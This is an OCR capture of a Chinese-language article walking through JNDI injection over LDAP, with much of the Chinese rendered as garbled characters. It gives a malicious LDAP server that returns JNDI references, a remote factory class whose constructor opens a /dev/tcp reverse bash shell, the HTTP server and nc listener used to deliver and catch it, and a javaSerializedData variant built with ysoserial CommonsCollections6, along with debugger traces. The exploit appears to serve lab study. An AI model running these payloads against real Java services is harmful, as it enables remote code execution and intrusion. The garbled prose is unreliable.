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JNDI References 2 % javax.naming.Reference lJavali %, EHB XM AN
MEAFEEMNMIUNERINKREAN. Reference ABEE T RIZESI B3I BN KX
MER. EEE8RNERMNJavaXZiR, MEBATEUENKRHNNRI NEXZRNLE,
EERPERUTEMN:

objectClass: javaNamingReference

javaClassName: Records the class name of the serialized object so that ¢
object.

javaClassNames: Additional class information about the serialized object
javaCodebase: Location of the class definitions needed to instantiate tt
class.

javaReferenceAddress: Multivalued optional attribute for storing referer
addresses.

javaFactory: Optional attribute for storing the object factory's fully c

name.
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e Marshalled I &

e Remote Location

LDAP

LDAP (Lightweight Directory Access Protocol)

2 & B R 1HEH I

LDAP 21{t4

TR BHEATLDAPHERRET, TEMTHRBEBRRS BPHETER. EW. EfiT
BERSE LB R.

HA L DAPERBEFESHU T

e EEREE FEEBRITEZE £HB - Entry., B - Attribute. {E - value
Entry: BEHRAN—TTR, B—TEntryl @R T —1TEILX R, Bl object class

e MBAKRE

LDAP ifmE

LDAP Server

EHEE, FJEERE—1Idap server, X8B3 H mbechler, FHMHAMT T,

package org.jndildap;

import java.net.InetAddress;
import java.net.MalformedURLException;

import java.net.URL;
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import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearc
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterce
import com.unboundid.ldap.sdk.Entry;
import com.unboundid. ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid. ldap.sdk.ResultCode;

/%%
* LDAP server implementation returning JNDI references
>k
x @author mbechler
k
*/
public class LdapSer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main (String[] args) {
int port = 1389;
String url = "http://127.0.0.1/#Th3windObject";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectol
config.setlListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$%
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterce
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(cc

System.out.println("Listening on 0.0.0.0:" + port); //$NON-
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ds.startListening();

¥
catch ( Exception e ) {

e.printStackTrace();

private static class OperationInterceptor extends InMemoryOperatior

private URL codebase;

/%%
*
*/
public OperationInterceptor ( URL cb ) {

this.codebase = cb;

/%%
x {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperati
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchRest
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
b
catch ( Exception el ) {
el.printStackTrace();
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protected void sendResult ( InMemoryInterceptedSearchResult res
URL turl = new URL(this.codebase, this.codebase.getRef().re
System.out.println("Send LDAP reference result for " + base
e.addAttribute("javaClassName", "th3wind");
String cbstring = this.codebase.toString();
int refPos = cbstring.index0f('#"');
if ( refPos > 0 ) {

cbstring = cbstring.substring(0, refPos);

b
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$N(
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(®, ResultCode.SUCCESS));

rmi [RmiTest] el.printStackTrace()

LdapSer

e LDAPEFJAVAXEH AR T:
» Java R

» JDNIBJReferences
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» Marshalled &%
= Remote Location
e HAFRHAMTREMABARNUWT:
» FAJavaF il
» FIFJDNIfReferences I & 3| A

® Using Java serialization

0 https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html
e Using JNDI References

0 https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html

LDAPHI LY H B F i MJAVANI RIR IS BN, RATSBRESHRE, BHMT:

javaClassNames

javaCodebase

JavaDoc

JavaFactory

JavaReferenceAddress

javaSerializedData
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HhZFBJINDI Referencesht, WA FEFHN R javaCodebase I8 EmFFurl, 1%

url P Bl &E&=class, BIJNDIFR#HTREI KM AL,

HEENBJava Rl AER, % F javaSerializedData @, HiZEB MM value
BAATH, SNZEHTRFEINHLE, SAMEERRICT BN, BN L.,

JNDI Reference

WEHERE SRBAUT: BHE T BlackHat2016 &,

LDAP

o ®
aa ®

Q\m u?/9

Web

1. HEERE—D LDAP BN EZEMNurl I F R TF B A IJNDI B lookup BiEHRXE
HIZEEE — LDAP Client B M T RSN BEI W TR :

String uri = "ldap://127.0.0.1:1389/Th3windObject";
Context ctx = new InitialContext();

ctx.lookup(uri);
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2. RSB ImIH O EHHEMWIES A EWN LDAP Server I, HIFKE EE N INDI

Reference

e HJj& JUNDI Reference

HIER S48 UNDI Reference Bl jndiReferenceEntry RIEFIEHIRFIMNEERIE
Bl XER &M IJNDI Reference EI#i&E Entry BEIRSBIHA B P HY:

Entry e = new Entry(base);

.addAttribute("javaClassName", "th3wind");

.addAttribute
.addAttribute

'javaCodeBase", cbstring);
'objectClass", "javaNamingReference"); //$NON-NLS-1$
.addAttribute("javaFactory", this.codebase.getRef());

® ® M O

(
("
("
(

e 1EK UNDI Reference

ERKERSIHEPIER JNDI Reference F lookup BlRIEEIBEXR L, EHE(IXERXRRE
ETHElookupH MBI RABIBEBKRHFA., Elookup KEEntryf5, —EZ 3

c_lookup:

¢_lookup(Name varl

group "main": RUNNING

c_lookup:1017, LdapCtx fcom.sun.jndi./dap)

main:11, LDAPClient

£ doSearchOnce FERITEAN url KEIFER, FFENNM Entry
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target leturningObjF
pom.xml var23 = T
" RmiTest.iml respCtls = var23.resControls
External Libraries tus 1= @) {

Scratches and Consoles -processReturnCode(var23

Debug: LDAPClient

e Threads
"main"“@1 in group "main"“: RUNNING
c_lookup:1028, LdapCtx (fcom.sun.fnal./dap)
DN =
) attributes = {BasicAttributes@705} "{objectclass=objectClass: javaNam... View
ignoreCase = true
attrs
bjectClass: javaNamingReferenc:
main:11, LDAPClient aCode : http://127.0.0.1/
“javaFactory: Th3windObject"

avaClassName: th3wind"

E# 7 1Z c_lookup P #|HF javaclassname . javaNamingReference AN 79 & /Y B (& #
1T decodeObject 418,

Obj.JA

(var3 == ) {

; 3 - : v Obj.JAVA_ATTRIBUTES = {Strin
var3 = LdapCtx( . fullyQualifiedName(varl)) ) - { .
(LdapReferralException var2e)
LdapReferralException var5 = var2e
( .handleReferrals = 2) {

var2.fillInException(var2e)

LdapCtx c_lookup()

>
»>
>
>
»>
>
>
>

"Th3windObject"
"Th3windObject; remainingName: 'Th3windObject'"

var3 (slot_3)

vard (slot_4) "{objectclass=objectClass: javaNamingRe
ignoreCase = true
attrs =
"objectClass: javaNamingReference
"javaCodeBase: http://127.0.0.1/"
"javaFactory: Th3windObject"
"javaClassName: th3wind"

£ decodeObject FEMAEM — 1 reference, G4BT Naming Manager #1178 A1
B class X, MTXB OANBER2INDINARAZE T, BLDAPXRAALA K, XEFR
ZMitie, ABREEANT:
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'

Naming Manager

'

codebaseH
$kHclassX
HHEAN

lookup

c_lookup | 4 peReference

doSearchOnce
SRENENtry

Javaclassname

11

decodeObject

Y

decodeReference

3. lRFBix decode IBXKEIMEE JUNDI Reference ,

4. RBWMBREEWENEES Server IBRKHLBIL Factory class , BILL & F Y
httpiE K FHI Th3windObject
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=+ JNDI python -m http.server --bind 0.0.0.0 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
127.0.0.1 - - [08/May/2020 14:55:42] "GET /Th3windObject.class HTTP/1.1" 200 -

import java.lang.Runtime;
import java.lang.Process;
public class Th3windObject {
public Th3windObject(){
try{
Runtime rt = Runtime.getRuntime();
//Runtime.getRuntime().exec("bash -1 >& /dev/tcp/127.0.0.1/!
//String[] commands = {"/bin/bash", "-c", "'/bin/bash -1 >&
String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/127
Process pc = rt.exec(commands);
//System.out.println(commands);
pc.waitFor();
}catch(Exception e){
e.printStackTrace();

System.out.println("2222");

}

public static void main(String[] argv){

Th3windObject e = new Th3windObject();

5. 17 payloads ,

https://mp.weixin.qq.com/s/Pg2bb6385Sv6pts X AS22-g 11/17



2020/7/27 INDLZ #J#% LDAP

-+ JNDI nc -lvv 8550
ls
RmiTest.1ml

pom.xml
src
target

() UV L

Remote Location
ZHEARAER, IWL4EARZHITIE,
Serialized Object

JNDIBILDAPEHMEntryBMFHN FIHMLEERL:

e —4NETFHIEFFIEA decodeObject X javaSerializedData BRI LM IE ;

o —XbHETF decodeReference HEMAEXN Z BRI Reference BN ERM £, B0 DA#H
— & 3F RefAddress iR R 4LIE

javaSerializedData

BINXEIRE, BIE javaSerializedData A AETWIE M, decodeObject &3 N I F ER
HITREIWN, BN EEELDAP Serverif P inizE M.

e.addAttribute("javaSerializedData", Base64.decode("rO00ABXNyABFqYXZhLnV@:

X EBEWpayload T i i, H 1% H ysoserial.jar #l|F CommonsCollections6 *

target java —jar ysoserial.jar CommonsCollections6 '/bin/bash -c bash${IFS}-i

L 4b B CommonsCollections6 BIBIEAMAIREFENAM R FIAREF B, U EHE
FAB) LDAPClient A3 S N commons-collections , R XEBEFHMEI. 2. ThRA&,
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<dependency>
<groupId>commons-collections</groupld>
<artifactId>commons—-collections</artifactId>
<version>3.2.1l</version>
</dependency?]

- JNDI nc -lvv 8550
bash: no job control in this shell

The default interactive shell is now zsh.

To update your account to use zsh, please run "chsh -s /bin/zsh’.

For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2% 1s

RmiTest.iml

pom.xml

src

target

bash-3.2$ []

BEZANBAEIUNTAAEEwWeb RS, RER"EBEWT:

LDAP

o - BN -

Bp -

) ©

1. REZERE—TLDAPEXN B RO url A F R A AAINDIAY lookup BIEH:
2. RBimip B WEHEHEMWESN A E K LDAP Serverim, HIEXIEHEZEEMN JINDI

Reference;
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3. R decodeld RKEMEE JUNDI Reference H#E decodeF i# 17 & & 5l 1t &b

2

2020/7/27

TARBEWMT:

readObject:415, ObjectinputStream gava./o0)

main:11, LDAPClient

javaReferenceAddress

Fok—KIEAENE:

er(S5tring varl)
[varl.length()]
ar 1 h()

LdapSer
Message
PublicKknown
Th3windObject
¥ |dapseri
LDAPClient
LdapSer
Message
PublicKnown
Th3windObject
test
java
LDAPClient (1)
El Console = s - T
Threads
"main"@1 in group "main”: RUNNING
d r:187, CharacterDecoder {sun.misc}
ce:479, Obj {com.sun.jndi.ldap}
Object:251, Obj {com.sun.jndi.ldap}
lookup:1051, LdapCtx { sun.jndi.ldap}
ookup:542, ComponentContext {com.sun.jndi.toolkit.ctx}
ookup:177, PartialCompositeContext {com.sun.jndi.toolkit.ctx)
ricURLContext {com.sun.jndi.toolkit.url}
iILContext {com.sun.jndi.url.|ldap}
7, InitialContext {javax.naming}

main:12, LDAPClient {org.ldapseri}
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deserializeObject:527, Obj {com.sun.jndi.ldap}

decodeReference:478, Obj {com.sun.jndi.ldap}
decodeObject:251, Obj {com.sun.jndi.ldap}

c_lookup:1051, LdapCtx {com.sun.jndi.ldap}

p_lookup:542, ComponentContext {com.sun.jndi.toolkit.ctx}
lookup:177, PartialCompositeContext {com.sun.jndi.toolkit.ctx}
lookup:205, GenericURLContext {com.sun.jndi.toolkit.url}
lookup:94, IdapURLContext {com.sun.jndi.url.ldap}
lookup:417, InitialContext {javax.naming}

main:12, LDAPClient {org.ldapseri}

HZBARBARF, ZABTREFIHHWEMN javaReferenceAddress ,payloadfl

e.addAttribute("javaReferenceAddress", "$1$String$$"+new BASE64Encoder().

Attribute(

£ Reference decodeReference WiZEM HITUENNLEBFFTEERZRHENK:

B% EXK javaSerializedData I ;

statlic Ubject MGG IIas(ATTributes vard) throws NamingeException {
String[] var2 = getCodebases(var@.get(JAVA_ATTRIBUTES[4]));

try {
Attribute varl:
f ((varl = var@.get(
ClassLoader var3 = helnar natliRis’

(varl = var@.get(JAVA_ATTRIBUTES[7])) != nuil) {
n decodeRmiObject((String)var®.get(JAVA_ATTRIBUTES(2]).get(), (String)varl.get(), var2);
{
varl = var@.get(JAVA_ATTRIBUTES[@]);
return varl == null || !warl.contains(JAVA_OBJECT_CLASSES[2]) & !varl.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference

if ((varl = varo.get( 1)) 1= null) {
irn decodeRmiObject((Striraluar@ _natl” WA _ATTRTRUTES[2]),get(), (String)varl.get(), var2);
+ "javaRemoteLocation"

fE# N decodeReference HHITERNEHEUIEBEXRUNLT: LEBM:
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javaClassName
javaReferenceAddress
R javafactory e B FHE
OO0O00O000O00000000O0000O00O0000o0on
£X javaReferenceAddress AR T :
1. BN FHADRE

2. %—f"ﬁ%ﬁ'—ﬁ%’:’ﬁﬁﬁ%f&Zl‘i Z#mReferencefposition, HintxXi,

. BT OPRBESEE=1"2R™FZE, RntypezXi,;

4. KMBE=T P BREEEEEN T I7RETENBFTOFEX, BUHEANRFIHNE
E;

5. At ERbase64RmB, FIAERIMAIREIT—Rbaseb64fEm3,

M—XiREEZEEANTTLdapiEA

[FERHDZE] BlackHat2016——JDNISEN/LDAP Entry SR K ERARAR
MJINDI / LDAP#REEIIZERITHBNZE 2K

B #Eldap_server

JNDI with LDAP
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MEE THHE

PEIMARE, APXRESE, FFERAFR

KR HEIE BTN SERA
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